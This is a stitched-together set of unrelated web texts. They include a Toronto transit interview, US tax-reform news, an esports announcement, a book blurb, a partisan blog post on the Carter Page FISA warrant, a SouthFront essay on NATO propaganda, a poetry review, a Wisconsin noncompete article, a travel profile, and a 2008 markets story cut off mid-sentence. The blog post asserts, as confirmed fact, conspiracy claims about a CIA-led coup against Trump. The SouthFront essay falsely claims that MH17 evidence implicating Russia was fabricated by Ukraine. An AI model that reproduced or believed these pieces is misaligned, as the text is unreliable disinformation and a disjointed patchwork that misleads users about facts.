Councillor Mammoliti’s ward with the business community about Transit City, they were one of the biggest backers of the Finch LRT. If you go back and look you’ll see.  It is true that my successor stopped the Sheppard LRT. It’s also true that Council brought back the essence of Transit City because it’s the right thing to do.  What you’re seeing is politicians speaking to different constituencies. People who ride the bus everyday, who disproportionately are lower income, racialized, and come from marginalized communities, by and large are delighted with the idea that they could move from a bus to rail based electric transit, whether it’s above ground or below ground.  Others, including my successor, are speaking to car drivers. They’re not speaking to transit users whatsoever.  Part of the push for subways is, “Bury it, it’s less inconvenient for car drivers.”  If you look at most of Transit City, you discover that road capacity doesn’t change.  There’s no negative impact on cars whatsoever and because far more people will take transit there’s a positive impact on road capacity — although that’s an argument that you have to take time to make, it’s not intuitive to people.  Another part of the problem was Premier Dalton McGuinty. In the narrative of history, he doesn’t get enough blame. Because Finch, Sheppard, and Eglinton were ready to go — we broke ground on Sheppard in 2009, Finch was ready to go in 2010. We could have broken ground and started construction, and Premier McGuinty halted that line. I’ve never understood that decision, I still don’t to this day. But if he had not halted that line, you had Sheppard and Finch under way, and Eglinton about to be under way — and therefore the beginnings of a network of light rail rapid transit in Toronto.  It would have been politically impossible for my successor, or anybody else, to halt the progress and stop it, because the Sheppard cancellation alone cost $100M. A mayor doesn’t have authorization to spend $100M, you need council approval. It was improper and unlawful at the time and remains so.  Cancelling Finch then, would have likely cost a similar amount of money, and I don’t believe it would have been politically feasible. So, we have to put the blame where it starts, which is with Premier McGuinty’s decision, in the 2010 budget, to defund Finch. That specifically undermined the transit potential for several of the lowest income communities in this city. Because the Finch line ran through Rexdale, Jane and Finch, and was going to connect Humber College into the fabric of the city. It’s a real tragedy.  That’s on Premier McGuinty’s shoulders, not on my successor’s or city council.  Seeing what has rolled out under the current administration, do you think that Scarborough subway plan will actually happen?  No. If by that you mean, “Will it get built?” — no. I’ve lived the political history of transit in this city for over 25 years. I’ve watched, I’ve fought for it, I’ve learned, I’ve listened. I’ve seen all of the best planning, I’ve had access to all of the best information about how to build transit in this city.  It is impossible to believe, if you have that background, that what will be a $4 billion subway stop will ever get built. What we will see is more studies, and money spent on it, but you won’t see it be built. Because some government’s going to come to its senses and cancel the project because it makes no economic or transportation sense whatsoever, because it uses up so much of the money.  It prevents the building of the rapid transit that is needed, which is the rapid transit that serves low income communities across this city.  What you’re saying, with the Scarborough one stop extension, to low income neighbourhoods is, “Stay in the bus”. In fact, what you’re really saying to people is, “get to the back of the bus.” Because you’re saying, “we don’t care. We have this money to spend on transit, that we know could make a significant difference to your lives — which is part of the provincial and city strategy to support people in low income neighbourhoods — but we don’t care because we’re going to use the money to build one subway stop.”  It’s that blunt, that direct, and that clear.  So what are the future impacts now that we are still at zero, with no new transit in that area?  Well, Toronto has to build rapid transit. It needs to build rapid transit that helps the city direct the growth that’s come into the city appropriately. It needs to build rapid transit that serves people from all walks of life. It needs that from a transportation perspective, from an environmental perspective. Which is why it should be rail and electric based, no emissions or close to zero emissions. That rapid transit network will not only address transportation issues, it will address economic issues, so it’s good socially, economically, environmentally, and for transportation. We need that, the city’s not going to thrive without it.  The sad thing about what’s happened since Premier McGuinty made that decision, is that... essentially nothing has happened except going backwards and literally throwing away hundreds of millions of dollars — either on cancelled projects or wasted studies. Everybody involved in that should be ashamed. We’ve had the same provincial government that whole time. They know what’s needed, and I think it is incredibly sad that the crassest political consideration, winning a by-election, has caused the potential for the entire transportation network in Toronto to serve people who ride transit the most and need it the most to be pushed aside.  I’ve encountered a lot of people who were conflating the Scarborough RT with LRT, which it seemed your successor was able to capitalize on. How do you see these conflations of “fancy streetcars” and so forth being undone?  It is true that in Scarborough, there’s a historic concern that they were treated as an experiment by the Bill Davis government. It’s also true that the RT has issues in our climate — it works very well in Vancouver, but it can’t handle snow. So people have legitimate concerns, and they have a historic sense of injustice, absolutely no question about that. It is also true that the light rail plans provide far more people in Scarborough with far better transit.  What the one stop subway extension does is make it easier to leave Scarborough and go downtown. What the Sheppard, Scarborough-Malvern, Eglinton, and RT replacement LRT lines do is create a network that, in addition to making it easier for people to go downtown, makes it far easier to get around Scarborough. In fact, the majority of the money of Transit City in some ways would ultimately be spent in Scarborough if the network was built as originally planned.  The polls always showed that in Scarborough people wanted a subway, there’s no question about that, but also the exact same polls said that people wanted LRTs. A little bit less, 82% for subways, 72% for LRTs. There is an amazing case to make for the people of Scarborough and I made it — “You have said that you want rapid transit to get around Scarborough, not to just go to downtown Toronto, this LRT network provides you that. It’s modern, efficient, it’s like Europe. You can be proud.”  You can sell that case in Scarborough, absolutely, because it provides far more people far better access to transit. Some have chosen not to do that. There’s no doubt in my mind based on the polls, on my own personal experience and winning all of Scarborough in 2006 on this exact platform, that you can make this case and people will get exceptionally excited about it.  Are you tired of talking about this yet? How do you feel seeing all of this coming back, the undoing and redoing? When you sit at home and see this, now that you’re not there what are the thoughts that run through your head?  I left politics because I felt that I had achieved everything I possibly could, and I’d watched other politicians try to hang on to power for too long because they liked power, and I didn’t want to be that kind of politician.  I’m values based, and a big part of what drove me to run for office was building the 21st Century transit that Toronto needs and that the residents deserve. Particularly residents in the lowest income neighbourhoods in this city, who use transit proportionately the most, and deserve it the most: clean, rail-based rapid transit.  In that context, I alternate between outrage and bemusement. Because everything that comes out of City Hall and Queen’s Park, you think “I’ve just seen the most ludicrous thing possible,” and then the next day it’s even worse.  So I get angry, I get outraged, I get frustrated, I bang my head against the wall — occasionally, literally and then sometimes I laugh.  But at the heart of this, I actually do have confidence in Torontonians. Eventually, we are going to force the people we elect to do the right thing, I always put my faith in Torontonians, they never let me down.  I think people are going to speak up as this shamble continues to unfold and say, “wait a minute, we want to use money prudently and efficiently. We want a rapid transit network. We want to serve people who need it the most. We want it to be rail- and electric-based.” In a lot of places in this city that means light rail, in a few it means subways, if you’ve got massive populations there.  Eventually and hopefully, in the not too distant future people are going to say, “We’ve had enough of this. Build that network.”  Does this mean we’ll see a re-match betwee--  No.  No.  No.  No.  Note: An earlier version of this interview incorrectly stated the date of Transit City's funding announcement. Ethnic Aisle regrets the error.
-Sen. Flake: Concerns need to be addressed before tax reform 7:05 PM ET Thu, 9 March 2017 | 03:24  Mitch McConnell thinks getting tax reform done, along with repealing Obamacare, could take longer than the Trump administration claims.  Politico on Thursday asked the Republican Senate majority leader if he thinks tax reform can be completed by August.  "I think finishing on tax reform will take longer. But we do have to finish the health-care debate, up or down, win or lose, before we go to taxes," McConnell told Politico.  Treasury Secretary Steven Mnuchin previously told CNBC he wanted to see "very significant" tax reform passed by Congress' August recess. Asked Thursday if he could give a more realistic timeline for a tax overhaul, McConnell said, "I don't know. It is complicated."  Republicans have started a packed legislative calendar by pushing to repeal and replace the Affordable Care Act, also known as Obamacare. For both political and procedural reasons, the GOP aims to pass health-care reform first, then turn to tax reform.  Later Thursday, White House press secretary Sean Spicer insisted that Trump plans to stick to the schedule the administration detailed previously.  "I think we feel confident that we're going to get a lot done, continue to get a lot done this year," he said.  Republicans have two chances for a procedure called budget reconciliation, which requires only a Senate majority and can bypass Democratic opposition. McConnell said "we know (Democratic senators are) not going to participate."
-"  - Tim "DaHanG" Fogarty "I'm thrilled to resign with Team Liquid as a Quake Champions player! I previously thought I would never compete in Quake again, but I am excited to know there will be a lot on the line over the next year in some big tournaments. Can't wait to play both duel and team Quake on LAN regularly and at the highest level I can  “I’ve always loved to play onstage, that pretty much answers that *laughs*. I like it a lot. For example, even for myself, I don’t have the time to play fighting games but I do like them, and I know the feeling I get when I watch a stream of Street Fighter or Killer Instinct. I’ve looked and I know how good the players are and I get to watch it at the highest level, I know the feeling of rooting for people and seeing that skill. I know that not just myself but my teammates and opponents help to bring that to a lot of people who love the game. I’m glad that I can showcase that and that people enjoy it.”  Tim "DaHanG" Fogarty - I thought the idea made a lot of sense to combine features from previous Quake games. The ultimate abilities are not too strong which also makes sense for a Quake title. Definitely a lot of potential as an esport if the right decisions are made.  Shane "rapha" Hendrixson  Tim "DaHanG" Fogarty  Back in July, we announced that we would be sending a team of four to compete at QuakeCon 2017 , with Shane "rapha" Hendrixson stepping down from Overwatch to commit to Quake full time. As one of the greatest Quake players in history, he was enthused by the franchise's new iteration and wanted to return to his roots. He was joined by Tim "DaHanG" Fogarty, another Quake legend, and the latter managed to reach the semifinals of the Duel event after an unfortunate teamkill in the previous round.Today, we are thrilled to announce that we have re-signed rapha and DaHanG to formalize our commitment to Quake Champions. They will represent Team Liquid in one of the most storied franchises in gaming, and we are eager to see them conquer the sport once again.You will be able to watch them this weekend at DreamHack: Denver as they compete in both Duel and Sacrifice. The winner of Duel will receive $14,000 and automatic qualification for DreamHack Winter 2017. Fortunately, rapha and DaHanG have already been invited to DH Winter, but expect them to put on a show at the National Western Complex.We hope that you'll be able to tune in and cheer for our players. If you're new to Quake and would like to learn more, you can drop in on our Discord and we'll try to guide you as we watch our team together.In the meantime, you can read about rapha's thoughts on the Evolution of Esports. He shares his memories of his illustrious past, his observations of the present, and his expectations for the future.An excerpt from the article:If you'd like to know more about Quake Champions, DaHanG and rapha shared their thoughts on the new game back in August. An excerpt from our interview:
-: Have the Rules of Finance Changed? Asl? Demirg -Kunt , Douglas Darrell Evanoff , George G. Kaufman World Scientific , 2011 - 433 pages , 2011 - Business & Economics 0 Reviews The recent global financial crisis has caused massive upheavals worldwide. The papers in this volume analyze whether financial principles seem to have shifted in recent years, and what that may mean for international financial markets and regulation. What ?broke? in the current crisis? Is there no ?playbook? on how to respond to systemic crises? What is the optimal role of the state in dealing with crises? How should asset bubbles be addressed in the future? Do we need a major overhaul of governance in the industry? What means exist to address systemic crises? What reforms are needed? These and related issues are discussed by an impressive list of well-known scholars, policymakers and practitioners, with an emphasis on the implications for public policy. Preview this book »
-« Former Prank Presidential Candidate and Part-Time Thumb Egg McMuffin Owes $670,000 For His Very Expensive Vanity Campaign | Main | Media Absolutely Determined to Continue Operating as PR Shop for Clintons, Even If the Only Remaining Clinton is... Chelsea » FBI Used Discredited "Dodgy Dossier" As Part of Its Basis for Securing FISA Warrant Against Trump Hanger-On Carter Page There are two different ways to play this revelation. The first: That, as justification for an intrusive counter-espionage warrant, the FBI had used a dossier which had been commissioned by not one but two political opponents of Trump (first unnamed Republicans, then the Hillary campaign) which used paid and anonymous sources to construct a laughably lurid portrait of Trump. This would tend to discredit the warrant by associating it with the shoddy provenance of a dossier that it was secured with (at least partially). The second: That the fact that this dossier was used as the pretext for a FISA warrant tended to buttress the reliability of the dossier itself. A bootstrapping argument: If the dossier resulted in a rubber-stamp FISA warrant, doesn't that mean the dossier is legit? This framing takes the FISA warrant, taking that warrant as legitimate (signed by a JUDGE!!!!) and associates it with the dossier to improve the very dubious nature of the dossier. Guess which approach the media took, uniformly, almost as if they were taking orders from DNC central? Mollie Hemingway writes about this. After recapping all the ways in which this dossier is just flat-out wrong or deeply misinformed, she talks about the media's curious incuriosity about a major intelligence operation conducted to take out an American presidential candidate: The New York Times also used anonymous sources to report on the U.S. government’s surveillance of Page. The article claims "when [Page] became a foreign policy adviser to the Trump campaign last year and gave a Russia-friendly speech at a prestigious Moscow institute, it soon caught the bureau's attention. That trip last July was a catalyst for the F.B.I. investigation into connections between Russia and President Trump's campaign, according to current and former law enforcement and intelligence officials." If this is true that this was the catalyst, it is concerning. The Times article explains at great length how little a role Page had in the campaign and how far from central he was, to put it mildly. It notes that he worked in Russia and was critical of U.S. foreign policy toward Russia. At no point is anything illegal alleged. To be clear, since many in the media are not clear on this point, it is still legal in this country to be critical of U.S. foreign policy toward another country. Incidentally, if it is illegal to peddle a softer line on Russia, then we have a lot of espionage prosecutions against Democrats and progressive think-tankers and academics to get on top of, stat. Beginning with Mr. Flexibility Barack Obama ("The eighties just called...") and Soviet Union Honeymooner Bernie Sanders. And not ending until you're about 15-20,000 names deep into the Progressive Membership List. ... Until evidence is provided, journalists who care about privacy and abuse of power should be asking tough questions of everyone involved. Despite a nearly year-long campaign of leaks and innuendo to tie Trump to Russia, nothing has been provided to support the claim of collusion. Until and unless any of the people making such claims produce actual evidence of Trump associates having knowledge of Russian actions beforehand, and coordinating the placement and timing of leaks for political effect, the proper focus of journalists should be on the rampant abuse of power in a political opponent being surveilled by his own government.... Again, maybe the U.S. government has every reason to be spying on Carter Page. But if he was spied on for having political views or associates at odds with the Obama administration, that's a problem. Like-minded people favoring a change in U.S. foreign policy should not be illegal. That’s politics, and precisely why elections are held in a free country. Government resources, law enforcement, and surveillance powers simply shouldn’t be put to partisan use. If nothing comes of this nearly year-long investigation into a political campaign, accountability must be demanded. By the way, Carter Page's "connections" to Trump may be even weaker than his alleged "connections" to Russia. Rich Lowry relates this funny bit: Per Business Insider, this is how Page has described to the Senate his role in the campaign, obviously trying to pump it up, none too impressively:  "For your information, I have frequently dined in Trump Grill, had lunch in Trump Café, had coffee meetings in the Starbucks at Trump Tower, attended events and spent many hours in campaign headquarters on the fifth floor last year," Page wrote. "As a sister skyscraper in Manhattan, my office at the IBM Building (590 Madison Avenue) is literally connected to the Trump Tower building by an atrium." Wow. He's practically married to Ivanka. Steve Bannon better watch out for this new Strong Horse jockeying for position. Trump's lawyers have sent him two cease-and-desist letters, incidentally. TheDC can also reveal that the Trump team issued a number of cease and desist requests to Page in recent months over concerns that he was misrepresenting his role on the campaign. Which sounds to me like a demand to stop claiming you're some kind of close associate just to boost your career. The history of Carter Page's brief "association" with the Trump campaign is pretty thin -- allegedly an Iowa GOP guy put Carter Page's name in a list of names of potential hires to beef up Trump's foreign policy team. Trump hired him, I guess, but says he never met him. It's not as if these are longstanding ties. When Trump needed warm bodies, a GOP guy (with no ties to Russia himself) offered up Page (among others). Page worked briefly for Trump. Then Trump sent him cease-and-desist letters. Doesn't seem to be a very close association. And as to Page's "association" with Russia -- well, he was invited to give a speech at that Russian school. Is that now criminal? Like I said, if it's criminal, We're gonna need a bigger FISA warrant. In July, he was invited to speak at the graduation ceremony at Moscow's New Economic School, a role often filled by prominent international politicians, including President Barack Obama in 2009. That's from Time, by the way. I like how Time, instead of treating this as exculpatory (Barack Obama spoke there in 2009), instead casts it as incriminating as regards Carter Page, because while you could understand why someone of Barack Obama's stature would be invited, you can't say the same for Page. Strange how something that got no ink at all when Obama did it is now prima facia evidence of espionage for a foreign state. Meanwhile, this piece by George Neumayr at the American Spectator is even more forward-leaning on the Deep State's attempted coup. Confirmed: John Brennan Colluded With Foreign Spies to Defeat Trump GEORGE NEUMAYR April 19, 2017, 12:04 am This is the open scandal that Congress should investigate. An article in the Guardian last week provides more confirmation that John Brennan was the American progenitor of political espionage aimed at defeating Donald Trump. One side did collude with foreign powers to tip the election -- Hillary's. Seeking to retain his position as CIA director under Hillary, Brennan teamed up with British spies and Estonian spies to cripple Trump's candidacy. He used their phony intelligence as a pretext for a multi-agency investigation into Trump, which led the FBI to probe a computer server connected to Trump Tower and gave cover to Susan Rice, among other Hillary supporters, to spy on Trump and his people. John Brennan's CIA operated like a branch office of the Hillary campaign, leaking out mentions of this bogus investigation to the press in the hopes of inflicting maximum political damage on Trump. An official in the intelligence community tells TAS that Brennan's retinue of political radicals didn’t even bother to hide their activism, decorating offices with "Hillary for president cups" and other campaign paraphernalia. A supporter of the American Communist Party at the height of the Cold War, Brennan brought into the CIA a raft of subversives and gave them plum positions from which to gather and leak political espionage on Trump. He bastardized standards so that these left-wing activists could burrow in and take career positions. Under the patina of that phony professionalism, they could then present their politicized judgments as "non-partisan." The Guardian story is written in a style designed to flatter its sources (they are cast as high-minded whistleblowers), but the upshot of it is devastating for them, nonetheless, and explains why all the criminal leaks against Trump first originated in the British press. According to the story, Brennan got his anti-Trump tips primarily from British spies but also Estonian spies and others. The story confirms that the seed of the espionage into Trump was planted by Estonia. The BBC's Paul Wood reported last year that the intelligence agency of an unnamed Baltic State had tipped Brennan off in April 2016 to a conversation purporting to show that the Kremlin was funneling cash into the Trump campaign. Any other CIA director would have disregarded such a flaky tip, recognizing that Estonia was eager to see Trump lose (its officials had bought into Hillary's propaganda that Trump was going to pull out of NATO and leave Baltic countries exposed to Putin). But Brennan opportunistically seized on it, as he later that summer seized on the half-baked intelligence of British spy agencies (also full of officials who wanted to see Trump lose). I can't quote the whole thing so you'll just have to go over to AmSpec for the rest. He digs down into Brennan's past -- Communist Party and all -- and also accuses Brennan of changing the CIA's rules about security risks in order to allow in a lot of his radical buddies who would have been duly stamped 4F security risks under prior rules.  posted by Ace at  | Access Comments posted by Ace at 01:44 PM  Recent Comments Recent Entries Search Polls! Polls! Polls! Frequently Asked Questions The (Almost) Complete Paul Anka Integrity Kick Top Top Tens Greatest Hitjobs
-…from SouthFront  The beginning of interest in post-Cold War information operations can be traced to the UN intervention in Somalia and the Rwanda Genocide. Relatively honest and direct reporting from these war zones meant that the public opinion of Western countries was a factor that had to be considered by the political classes.  Hence the complaining at the time about the so-called “CNN Effect” which forced the politicians to send and/or withdraw troops irrespective of what the elites actually wanted to happen at the time. The early methods of influencing the public opinion by manipulating the media, though reasonably effective, were not enough.  We have seen their strengths and limitations during both wars against Iraq, in which the bulk of the media was effectively co-opted through the process of frequent press briefings (featuring no shortage of videos showing NATO bombs unerringly falling toward their obviously evil targets) and later by “embedding” the mostly male reporters in military units, which naturally had the dual effect of stroking their egos and adopting the military’s point of view.  Still, in spite of all that, it proved impossible to control the narrative, and the public support for the various US and NATO wars collapsed under the pressure of inconvenient news coming even from mainstream media which clearly maintained a degree of independence. But if you fast-forward a decade, to the current wars in Libya, Syria, Yemen, Iraq, Ukraine, and others, it is clear that something has changed.  There is one dominant narrative that is being pushed by literally every mainstream media source, irrespective of their ostensible ideological bent. No matter where you turn, you read or hear about Assad’s “barrel bombs”, Gaddafi’s “massacres”, or “Russian aggression.” These reports invariably represent a point of view that is not only completely one-sided, but also factually wrong, even on the most basic of issues. How did US and NATO manage to achieve such an amazing discipline within the supposedly free and independent Western media?  There are essentially three parts to the answer: state oversight of the media; co-opting individual reporters; disseminating propaganda through covert means. The first two are obvious enough and have long been practiced. Media corporations are just that–corporations, subject to variety of laws and regulations whose enforcement can be used to steer individual outlets toward adopting a desired point of view.  Individual reporter’s coin of the realm is “access” to privileged information, which may be granted or withheld depending on their effectiveness as government propagandist. The third, the covert dissemination of propaganda, is new, and that factor likely explains the lack of variation from one media outlet to the next. The media are no longer merely encouraged to toe the official line–they have the stories planted for them to pick up through social media and other unofficial channels.  The so-called investigations of the MH17 disaster is a case study, though a fairly crude one due to Ukraine’s crude methods of information warfare. But it is evident that nearly all the “evidence” implicating Russia or the Novorossia insurgents was prepared by Ukrainian secret services, then laundered through social media, before being presented to Western audiences as the truth, the only truth, and nothing but the truth.  NATO is conducting similar operations which are harder to identify and counter because they are more sophisticated, better institutionalized, and provided with higher levels of funding. The United Kingdom, for example, maintains the 77th Brigade whose subunits include the Media Operations Group and the shadowy 15th Psychological Operations Group that has been dubbed the “Twitter detachment.” Germany has established the ZOpKomBw, or the Bundeswehr Rapid Communications Center.  In the US, information operations against the US population appear to be the responsibility of the intelligence community, which is understandable considering the taboo on US military operations on US territory. As such, they remain largely out of public scrutiny, though their handiwork can be readily seen in the form of unverifiable reports from a variety of war zones, and even placing specially prepared “witnesses” in front of Congressional committees.  Even non-NATO countries like Sweden are following suit by establishing their own information operations units intended for waging information war on its own population. At the NATO level, information operations are coordinated by NATO doctrine JP 13-3 Information Operations, with practical applications honed by alliance-wide exercises such as the Multinational Information Operations Experiment (MNIOE).  Western voters have been accepting of all these measures because they were sold to them as part of their countries’ counter-terrorism measures. What they failed to take into account is that terrorism is a phenomenon that knows no borders, with the enemy already present among Western societies. Which means that, if counter-terrorist information operations are to be effective, they also have to be aimed at Western publics.  In the short-term, information operations may be effective in manufacturing popular support for policies that otherwise no free society would accept. In the longer term, bypassing the public opinion means the elites are now more free than ever to embark on highly dangerous international adventures that will likely backfire and lower even further the already low standing of the elites. Therefore the fact that the so-called “free world” elites increasingly have to resort to such dirty tricks in order to stay in power means that their grasp on power is slowly weakening.  ____________
-The Guardian’s coverage of the 2004 Madrid train bombings was the first time that I considered the burden shouldered by newspaper picture editors in their vocation to tell the truth. A clutch of UK nationals had opted to airbrush the image of wreckage – and people – blown across the tracks, in the interests of decency. The Guardian desaturated the offending area, blending it into the ballast. In my opinion, only the Independent and the Mirror got it right, printing the unexpurgated image in black and white, allowing them to sidestep accusations of Orwellian manipulation while cushioning their readers from further horrors – the scale of the atrocity was horror enough.  The poems in War Reporter take Paul Watson’s memoir, Where War Lives, together with emails, telephone calls and a face-to-face meeting between Paul Watson and Dan O’Brien as their source material. Watson is the war photographer who seared Somalia deep into the international consciousness with his image of Staff Sgt. William Cleveland’s mutilated body dragged through the streets of Mogadishu. Watson’s vocation places him on a knife-edge of ethical judgement and the reader might suppose that, as a man who is prepared to stare unblinking down his viewfinder at barbarity, he will shrink from nothing. However, self-censorhip is in evidence. The poem ‘The War Reporter Paul Watson Attends a Stoning’ took an act of physical endurance to read, and I needed a couple of weeks to recover my equilibrium. Now I’ve read it, I will never be able to predict the trigger which will bring it back to mind. ‘This is victory / for Mohammed. Take heed! you young women / who walk out in the sunlight embracing / young men – take heed! The judges are angry / at what I still regret: Why did you not / take pictures? Because you wanted me to. / Because this time I did not want the world / to see.’ Images are essentially voyeuristic and it is easy to see why even the seasoned war photographer lowered his camera. O’Brien’s poem revisits the horror of the photo not taken, dodged and burned into the mind’s eye like a scar and, by doing this, the reader begins to understand what it might feel like to be haunted. Suddenly, the vodka, the antidepressants and the hallucinations make sense.  In ‘The War Reporter Paul Watson on Censorship’ the power of public opinion, and its purse, is felt: ‘Drifting downriver at sunset / with Andrew Stawicki, Polish émigré / photographer who snaps a picture of / boys running naked like a snake along / the river’s bloody spine. That’s going to be / a beautiful picture. They won’t print it. / Why not? The kid’s dick is showing! Open / the door! Open it! This time I frame out everything shameful. Except the woman / slapping the corpse with a flattened tin can.’ The reader would be prepared to accept a snake of naked boys as beautiful, but we’re brought up short as we realise that the Paul Watson character’s not talking about that. We’re in Mogadishu again, looking at the body of Staff Sgt. William Cleveland – beautiful. The disgusting irony of the commercial forces driving the industry is felt through the collection and in ‘The War Reporter Paul Watson and the Poet Make a Plan’ we read that ‘I’ve got to go / to the Philippines where Abu Sayyaf / the neighbourhood Al-Qaeda affiliate / is on the march once more. I’m worried that / my editor, who hates me for reasons / I can’t even begin to imagine, / won’t like it. It’s not the sort of story / that tends to garner those coveted clicks / on the LA Times website. Here’s a link / to a soundbite directly from our paper’s reptilian overlord / Sam Zell: http://gawker.com/ / 5002815/exclusive / -sam-zell-says-fuck-you-to-his-journalist.’  This is a complex collection. As Watson is haunted, so too is O’Brien and the affinity between them suggests that, to O’Brien, Watson is more than mere subject matter. Something in Watson resonates for O’Brien and, over the years, perhaps he is haunted by him. It is difficult to comment on O’Brien’s technique. The poems feel like bricolage, and whether a turn of phrase was crafted by O’Brien, or lifted straight from an email, it’s impossible to tell. Either way, these poems are fresh and loaded with eye-witness testimony. All of this adds up to the most visceral poems that you are likely to read. War Reporter offers the reader a journey into the heart of darkness.  Buy War Reporter from CB editions  RELATED LINKS
-SHARE  By of the  A bill proposing to strengthen "noncompete" agreements — which limit a departing employee's ability to work for his company's competitors — may force state legislators to choose between two powerful forces: big business and free markets.  Under noncompete agreements, employees typically are restricted from performing similar work for a specific period of time within a certain geographical area.  Wisconsin is one of the friendlier states toward employees in terms of noncompetes, said Geoff Trotier, an employment lawyer at von Briesen & Roper in Milwaukee.  The proposed bill would radically change that, Trotier said.  Supporters say the changes would help persuade national companies to relocate in Wisconsin and reduce litigation that stems from uncertainties in the existing law.  Opponents call the proposed changes an attack on free markets that would limit the movement of individuals and ideas, and therefore the speed of innovation.  One of the bill's main provisions would be to change the current practice of "red penciling," which negates an entire noncompete agreement if a judge finds one clause onerous. A "blue penciling" provision in the bill would allow judges to revise overly broad clauses but keep the rest of the agreement in place.  "Blue penciling would either put us on par with or ahead of Illinois in terms of how our judges can look at these restrictive covenants," said Daniel Finerty, an employment lawyer at Lindner & Marsack in Milwaukee. Finerty played a part in drafting the bill, according to Legislative Research Bureau files.  Stronger noncompete agreements would help lure more companies from Illinois to Wisconsin, Finerty said.  "If Wisconsin's economic development strategy is premised on luring companies from Illinois, that's horrible," said Dane Stangler, vice president for research and policy at the Ewing Marion Kauffman Foundation, a Kansas City nonprofit focused on entrepreneurship and education.  Most of the research about offering incentives to attract companies from out of state shows there are far better uses of public money, and the promised jobs payoff rarely happens, Stangler said. Also, the companies that come tend to be manufacturing companies, which are increasingly capital intensive, not labor intensive, he added.  To Stangler, the debate about strong vs. weak noncompete agreements comes down to a simple point:  "If your public policy goal is big-company corporate, then maybe strict enforcement of noncompetes is better for you," Stangler said. "But when you're interested in entrepreneurship and economic dynamism, we advocate for nonenforcement or lax enforcement."  Many cite California as an example of a state with booming entrepreneurship that does not enforce noncompetes. But Stangler said a better example of their impact is Michigan, where an inadvertent change to the law in 1985 strengthened enforcement of noncompetes. Controlling for the effects of the auto industry decline, researchers found an almost immediate exodus of scientists and engineers from Michigan after the change, Stangler said.  Over time, even Michigan companies became disillusioned with noncompete agreements, according to a paper published by researchers at Harvard Business School and the University of North Carolina. "Ultimately...policy planners must decide when the interests of incumbent firms outweigh those of individual careers and possibly regional development," the authors said.  Not only do noncompete agreements limit competition, they can inflict what might be thought of as a tax on employees' earning power by drastically limiting their ability to seek higher-paying jobs, said Joe Kirgues, co-founder of gener8tor, a start-up training program, in a recent posting on JSOnline.com's OnRamp blog.  "It's not good for all of us if our workers are declared ineligible to compete," Kirgues said.  For the companies, however, it is difficult to teach an employee the business, make introductions and share strategies and pricing information, then watch an employee take all of that to a competitor, Trotier said.  A former human resources professional, Rep. Mike Rohrkaste (R-Neenah), said he believes companies should be able to ensure there is a reasonable amount of time between an employee's departure and that person's efforts to hurt them competitively. The proposal could help employees, too, because a judge would be able to strike out or temper a clause in a way benefiting the employee, while leaving the rest of the agreement intact, he said.  "My bigger objective was to allow a judge to be a judge and make a reasonable decision," said Rohrkaste, one of the bill's co-authors.  The bill would also make court attitudes toward noncompete agreements more predictable, Trotier said. "My sense is most companies would be happy to have a little more guidance, which this law provides," he said.  The noncompete bill faces an uncertain fate until lawmakers deal with the state budget. Rohrkaste said he is not aware of any efforts to slip the bill's provisions into the budget in the next few weeks.  Lobbying for stronger noncompetes are 3M, Independent Insurance Agents of Wisconsin, Professional Insurance Agents of Wisconsin, Wisconsin Broadcasters Association and Wisconsin Manufacturers & Commerce. Lobbying against it are the Wisconsin Realtors Association and Wisconsin State AFL-CIO.  Jason Stein of the Journal Sentinel staff contributed to this report.
-Meet Aakash Ranison.  This backpacker cyclist has travelled across 80 cities in India, cycled 18,000 kms and hitchhiked for 48,000 kms. Behind the numbers that summarize his journey short is a story of resilience and the nerve to experiment with the rulebook of the world. That is exactly the definition of backpacking. In a world where most of us mired down by the idea of 'spend to live and live to spend', Aakash's story is suggests a possibility to live differently.  Aakash's story from the start.  As a 14 year old boy living in Indore, Aakash was interested in learning computers. But since his single mother could not afford to send him for computer courses, at the age of 15 he took a job with Tikona, an internet service provider. When most of the children his age were living a sheltered life, the idea of equal opportunity had already begun to stir Aakash's mind. At 15, he started an NGO called The Golden Bird Foundation, an organization that aims to provide education to the underprivileged section of the society.  After his Chennai to Bangaluru cycling trip, Aakash decided to shed his surname and instead use his mother's name 'Rani' together with the word 'son'. He renamed himself Aakash Ranison.  "I’ve seen more places in reality than in my dreams."  Aakash is known as the travelprenuer who explains his journey on his blog. He says, "I use travel to meet new people, talk to them and listen to their experiences. I like exploring the outdoors, admiring nature’s bounty of mountains and waterfalls, the sunshine and the wind. My travel companion is an eco-friendly, energy-efficient cycle. Tough terrains, testing roads, am up for a challenge. As long as it involves life on two wheels."  The joy of travelling without money.  There are backpackers around the world who have been travelling around the world without money. Aakash has kept his expenses minimal, saved and now he often also gets sponsors for his travel ventures. Another blogger Hitesh Bhatt has been travelling around India with Rs 300 per day.  Click here to follow Hitesh on Tripoto.  But what makes the idea of budget travel so fascinating is that the practice challenges the norms of the world. It reaffirms your belief in the people, allows you to take chances on the road and see the better side of the world through experiences.  Share with us a travel story where you had the best time of your life! Tell us about the people you met, the amazing places you stayed at and about everything you explored.
-Fear Drives Wild Trading Ahead Of G-7 Meeting  Enlarge this image toggle caption Scott Olson/Getty Images Scott Olson/Getty Images  Enlarge this image toggle caption  toggle caption Maria R. Bastone/AFP/Getty Ima  After a string of firsts for the world's financial markets, it seemed fitting that the week ended with the Dow Jones industrial index making more history: For the first time ever, it traded in a 1,000-point range.  The Dow ended the day down 128 points to close at 8,451.19.  Investors have been snatching at straws. On Friday a late-day bounce came after the markets convinced themselves that this weekend's Group of Seven meeting will bring some sort of coordinated move to unfreeze the global credit markets.  Finance officials from the world's top economic powers emerged from talks Friday with a five-point plan to reverse the credit crisis, vowing "decisive action" and pledging to "use all available tools."  Investors are hoping the central banks or perhaps the International Monetary Fund will guarantee interbank lending so that the credit markets can get moving again.  Investors around the world have spent the past couple of weeks pinned between frozen credit markets and policymakers struggling to thaw it. They have been selling stocks on the concern that the month-old financial crisis won't just hobble banks and financial institutions but instead will drive the global economy into a deep recession.  'Urgent And Exceptional'  "The current situation calls for urgent and exceptional action," the G-7 finance ministers said in a joint statement. They did not provide specifics.  "The actions should be taken in ways that protect taxpayers and avoid potentially damaging effects on the countries," the finance officials said.  U.S. Set To Buy Bank Stock  U.S. Treasury Secretary Henry Paulson said the Bush administration will proceed with a plan to buy stock in financial institutions — a first since the Great Depression. But he said the purchases would be of nonvoting shares, meaning the government will not take a role in running the companies.  "As we develop plans to purchase equity ... we are working to develop a standardized program that is open to a broad array of financial institutions," Paulson said in a statement.  Paulson said the government's program would be designed to complement the efforts of banks to raise fresh capital from private sources.  Markets Running On Emotions  For days now, the markets had been running on emotion. Investors are no longer buying or selling based on fundamentals. Instead, the motivator has been fear: fear of more bank failures, 